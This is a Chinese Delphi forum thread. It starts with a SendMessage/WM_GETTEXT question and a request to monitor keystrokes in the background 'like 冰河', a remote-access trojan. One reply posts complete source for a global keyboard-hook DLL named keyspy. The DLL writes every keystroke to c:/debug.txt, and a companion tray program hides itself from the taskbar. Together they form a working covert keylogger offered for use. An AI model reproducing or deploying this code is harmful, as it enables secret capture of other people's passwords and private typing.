请教关于Delphi中调用SendMessage的某个问题.(100分)

  • 主题发起人 主题发起人 憔悴
  • 开始时间 开始时间

憔悴

Unregistered / Unconfirmed
GUEST, unregistred user!
1: &nbsp;SendMessage地原型是:SendMessage(HWND hWnd,UNIT Msg,WPARAM wParam,<br>LPARAM lParam)。lParam指附加的消息,可以为任何变量(any),但在Dephi中<br>只能为Integer。我想获取窗口的标题用函数为SendMessage(HWND,WM_GetTEXT,50, <br>windowtext ),其中windowtext是返回的窗口的标题,应该是string或者是Pchar变量<br>,应该怎么办??(Dephi中只能为Integer)。望高手告之。 <br>2: &nbsp;程序在后台或者是不active的时候也能监视屏幕按键情况,象冰河那样。怎么实现呢?
 
wParam和lParam本身就是integer类型,只是为了清楚才将其声明为一个常量。
 
wParam和lParam只能是integer类型!?
 
to :憔悴<br>有没有搞错?<br>SendMessage(HWND,WM_GetTEXT,50, <br>windowtext )中WINDOWTEXT 为字符指针,地址当然是INTEGER
 
统一楼上,
 
yjj100得50分,<br>谁告诉我问题2我就开始发最后的50分。
 
第二个问题用hook也就是钩子,<br>这个问题好些人都有解答了。<br><br>利用Hook技术实现键盘监控<br><br><br>在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的<br>监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用<br>Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很<br>好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的<br>具体实现分别对这两部分进行详细论述。<br><br>一、Hook(钩子)的实现:      <br>Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且<br>处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程<br>序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实<br>现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的<br>是在DLL中实现Hook的方式。<br><br>1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。 <br><br>代码如下:  <br>library keyspy;<br><br>uses<br>&nbsp; SysUtils,<br>&nbsp; Classes,<br>&nbsp; windows,<br>&nbsp; messages,<br>&nbsp; hookproc in 'hookproc.pas';<br>&nbsp; exports setkeyhook,endkeyhook;<br>{$R *.RES}<br>begin<br>&nbsp; hnexthookproc:=0;<br>&nbsp; procsaveexit:=exitproc;<br>&nbsp; exitproc:=@keyhookexit;<br>end.<br>unit hookproc;<br>interface<br>uses Windows,Messages,SysUtils,Controls,StdCtrls;<br><br>var<br>&nbsp; hnexthookproc:hhook;<br>&nbsp; procsaveexit:pointer;<br>&nbsp; function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):<br>lresult;stdcall;export;<br>&nbsp; function setkeyhook:bool;export;//加载钩子   <br>&nbsp; function endkeyhook:bool;export;//卸载钩子   <br>&nbsp; procedure keyhookexit;far;<br>&nbsp; const afilename='c:/debug.txt';//将键盘输入动作写入文件中   <br>var<br>&nbsp; &nbsp;debugfile:textfile;<br>implementation<br><br>function keyboardhook{handler}(icode:integer;wparam:wparam;lparam:<br>lparam):lresult;stdcall;export;<br>begin<br>&nbsp; &nbsp; &nbsp; &nbsp;if icode&lt;0 then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; result:=callnexthookex(hnexthookproc,icode,wparam,lparam);<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exit;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end;<br>&nbsp; &nbsp; &nbsp; assignfile(debugfile,afilename);<br>&nbsp; &nbsp; &nbsp; append(debugfile);<br>&nbsp; &nbsp; &nbsp;if getkeystate(vk_return)&lt;0 then<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;begin<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;writeln(debugfile,'');<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;write(debugfile,char(wparam));<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;end<br>&nbsp; &nbsp; &nbsp;else write(debugfile,char(wparam));<br>&nbsp; &nbsp; &nbsp;closefile(debugfile);<br>&nbsp; &nbsp; result:=0;<br>end;<br>function setkeyhook:bool;export;<br><br>begin<br>&nbsp; hnexthookproc:=SetWindowsHookEx(WH_Keyboard,@keyboardhook,HInstance,<br>0);<br>&nbsp; result:=hnexthookproc=0;<br>end;<br><br>function endkeyhook:bool;export;<br>begin<br>&nbsp; if hnexthookproc&lt;&gt;0 then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; unhookwindowshookex(hnexthookproc);<br>&nbsp; &nbsp; &nbsp; &nbsp; hnexthookproc:=0;<br>&nbsp; &nbsp; &nbsp; &nbsp; messagebeep(0);<br>&nbsp; &nbsp; &nbsp; end;<br>&nbsp; result:=hnexthookproc=0;<br>end;<br>procedure keyhookexit;far;<br>&nbsp; begin<br>&nbsp; &nbsp; if hnexthookproc&lt;&gt;0 then<br>&nbsp; &nbsp; &nbsp; &nbsp;endkeyhook;<br>&nbsp; &nbsp; exitproc:=procsaveexit;<br>&nbsp; end;<br>end.<br>以上程序我刚刚作过实验编译肯定是没有问题<br>实现问题也不大,效果不尽人意,截获的<br>是用户键盘的所有击键动作,比如我用汉字输入“天津?<br>结果它截获的是tianjin,还有一个问题是有重码现象<br>比方说我输入hellfire,它截获的通常是hheellllffiirree<br>有时候还回是hehellllfifirree<br>没有什么道理,没有时间看了,欢迎大家讨论。?<br><br>二、<br>Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉<br>及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向<br>TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该<br>函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当<br>程序起动后,用鼠标右键点击图标,则弹出一个菜单,<br>可选择sethook或endhook。<br><br>unit kb;     <br>interface   <br>uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,<br>Dialogs, StdCtrls, Menus,shellapi;   <br>const<br>&nbsp; icon_id=1;   <br>&nbsp; MI_iconevent=wm_user+1;//定义一个用户消息   <br>type    <br><br>TForm1 = class(TForm)<br>  PopupMenu1: TPopupMenu;   <br>&nbsp; &nbsp; sethook1: TMenuItem;   <br>&nbsp; &nbsp; endhook1: TMenuItem;    <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; N1: TMenuItem;   <br>&nbsp; &nbsp; &nbsp; About1: TMenuItem;   <br>&nbsp; &nbsp; &nbsp; Close1: TMenuItem;   <br>&nbsp; &nbsp; Gettext1: TMenuItem;    <br><br>&nbsp;procedure FormCreate(Sender:TObject);   <br>&nbsp;procedure sethook1Click(Sender: TObject);    <br>&nbsp;procedure endhook1Click(Sender: TObject);   <br>&nbsp;procedure FormDestroy(Sender: TObject);   <br>&nbsp;procedure Close1Click(Sender: TObject);   <br><br>&nbsp;private    { Private declarations }   <br>&nbsp; &nbsp; nid:tnotifyicondata;   <br>&nbsp; &nbsp; normalicon:ticon;  <br>&nbsp;public    { Public declarations }   <br>&nbsp; &nbsp; procedure icontray(var msg:tmessage); message mi_iconevent;   <br>end;  <br><br>var    <br>&nbsp; Form1: TForm1;  <br><br>implementation <br> {$R *.DFM}  <br>function setkeyhook:bool;  external 'keyspy.dll';   <br>function endkeyhook:bool;  external 'keyspy.dll';   <br>procedure tform1.icontray(var msg:tmessage);   <br>var pt:tpoint;  <br>&nbsp; begin   <br>  &nbsp;if msg.lparam=wm_lbuttondown then   ?<br>&nbsp;  ?sethook1click(self);    <br>&nbsp; &nbsp; if msg.LParam=wm_rbuttondown then  ?<br>&nbsp;  ?begin      <br>&nbsp; &nbsp; &nbsp; &nbsp; getcursorpos(pt);<br>     setforegroundwindow(handle);      <br>&nbsp; &nbsp; &nbsp; &nbsp; popupmenu1.popup(pt.x,pt.y);     <br>&nbsp; &nbsp; &nbsp; end;  <br>&nbsp; end;  <br>procedure TForm1.FormCreate(Sender: TObject);  <br>&nbsp; begin   <br>&nbsp; &nbsp; normalicon:=ticon.create;  <br>  application.title:=caption;   <br>&nbsp; &nbsp; nid.cbsize:=sizeof(nid);   <br>&nbsp; &nbsp; nid.wnd:=handle;   <br>&nbsp; &nbsp; nid.uid:=icon_id;    <br>&nbsp; &nbsp; nid.uflags:=nif_icon or nif_message or nif_tip;            <br>  nid.ucallbackmessage:=mi_iconevent;     <br>&nbsp; &nbsp; nid.hIcon :=normalicon.handle;   <br>&nbsp; &nbsp; strcopy(nid.sztip,pchar(caption));    <br>&nbsp; &nbsp; nid.uFlags:=nif_message or nif_icon or nif_tip;              ?<br>hell_notifyicon(nim_add,@nid);  <br>&nbsp;  SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW);  <br>&nbsp; end;  <br>procedure TForm1.sethook1Click(Sender: TObject);   <br>&nbsp; begin<br>&nbsp; &nbsp; setkeyhook;  <br>&nbsp; end;  <br>procedure TForm1.endhook1Click(Sender: TObject);<br>&nbsp; begin<br>&nbsp; &nbsp; &nbsp;endkeyhook;  <br>&nbsp; end;  <br>procedure TForm1.FormDestroy(Sender: TObject);  <br>&nbsp; begin<br>&nbsp; &nbsp; nid.uFlags :=0;  <br>&nbsp; &nbsp; shell_notifyicon(nim_delete,@nid);  <br>&nbsp; end;  <br>procedure TForm1.Close1Click(Sender: TObject);   <br>&nbsp; begin<br>&nbsp; &nbsp; application.terminate;  <br>&nbsp; end;<br>end.<br><br>
 
给你一个非常好用的钩子(不用带DLL!):<br>&nbsp; http://www.delphibbs.com/delphibbs/dispq.asp?lid=531713<br>&nbsp; 参见我的回答.
 
谢谢各位的答案。分配分数了。
 
后退
顶部